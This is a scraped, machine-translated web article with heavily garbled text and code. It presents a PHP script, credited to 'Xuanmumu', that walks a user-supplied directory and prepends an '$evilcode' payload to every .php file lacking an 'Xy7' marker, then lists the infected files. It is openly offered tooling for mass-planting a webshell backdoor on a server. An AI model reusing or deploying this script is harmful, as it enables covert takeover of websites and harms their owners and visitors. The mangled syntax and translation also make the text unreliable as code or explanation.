Always forget a sentence to put in which file, directly all kill ...
Copy CodeThe code is as follows:
if (!isset ($dir) or empty ($dir)) {
$dir =str_replace (' \ \ ', '/', dirname (__file__));
echo "". $dir. "";
} else {
$dir =$_get[' dir '];
echo "". $dir. "";
}
$evilcode = " ";
$testdir = Opendir ($dir);
while ($filea = @readdir ($testdir)) {
if (Strstr ($filea, '. php ')) {
$fp = @fopen ($filea, ' r+ ');
if (!strstr (@fread ($fp,), ' Xy7 ')) {
Rewind ($FP);
$old = @fread ($fp, FileSize ($filea));
Rewind ($FP);
Fwrite ($FP, $evilcode. $old);
}
Fclose ($FP);
}
}
Closedir ($testdir);
?>
Files that are X |
Time |
Size |
$dirs = @opendir ($dir); while ($file = @readdir ($dirs)) {if ((Is_file ($file)) and (Ereg ("\.php{0,1}$", $file))) {$b = "$dir/$file"; $a = @is_dir ($b) ; if ($a = = "0") {$size = @filesize ("$dir/$file"); $lastsave = @date ("y-n-d h:i:s", Filectime ("$dir/$file"); echo "
\ n "; echo "
$file | \ n "; echo "
$lastsave | \ n "; echo "
$size Bytes | \ n "; }}} @closedir ($dirs);?>
Codz by Xuanmumu
http://www.bkjia.com/PHPjc/318709.html www.bkjia.com true http://www.bkjia.com/PHPjc/318709.html techarticle always forget a sentence to put in which file, directly all kill ... Copy the code as follows:?//xy7 if (!isset ($dir) orempty ($dir)) {$dir =str_replace (' \ \ ', '/', dirname (__file__) ...